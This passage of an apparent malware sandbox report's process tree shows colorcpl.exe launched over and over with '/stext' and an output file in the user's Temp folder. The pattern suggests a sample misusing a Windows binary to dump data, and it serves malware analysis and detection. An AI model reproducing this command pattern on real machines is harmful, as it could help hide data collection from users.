      4⤵
      PID:6576
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6584
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6592
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6600
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6608
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6616
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6624
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6632
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6640
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6648
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6656
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6664
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6672
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6680
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6688
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6696
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6704
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6712
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6720
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6728
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6736
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6744
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6752
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6760
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6768
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6776
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6784
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6792
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6800
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6808
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6816
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6824
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6832
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6840
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6848
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6856
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6864
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6872
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6880
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6888
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6896
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6904
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6912
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6920
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6928
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6936
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6944
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6952
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6960
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6968
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6976
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6984
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6992
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7000
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7008
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7016
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7024
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7032
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7040
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7048
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7056
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7064
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7072
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7080
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7088
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7096
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7104
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7112
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7120
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7128
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7136
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7144
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7152
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7160
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6820
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7172
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7180
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7196
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7204
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7212
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7220
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7228
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7236
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7244
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7252
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7260
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7268
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7276
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7284
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7292
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7300
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7308
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7316
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7324
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7332
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7340
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7348
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7356
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7364
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7372
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7380
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7388
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7396
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7404
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7412
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7420
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7428
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7436
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7444
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7452
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7460
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7468
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7476
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7484
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7492
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7500
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7508
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7516
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7524
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7532
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7540
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7548
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7556
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7564
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7572
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7580
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7588
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7596
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7604
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7612
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7620
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7628
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7636
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7644
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7652
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7660
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7668
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7676
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7684
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7692
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7700
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7708
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7716
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7724
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7732
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7740
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7748
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7756
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7764
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7772
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7780
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7788
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7796
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7804
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7812
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7820
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:7828
  - - C:\Windows\SysWOW64\colorcpl.exe
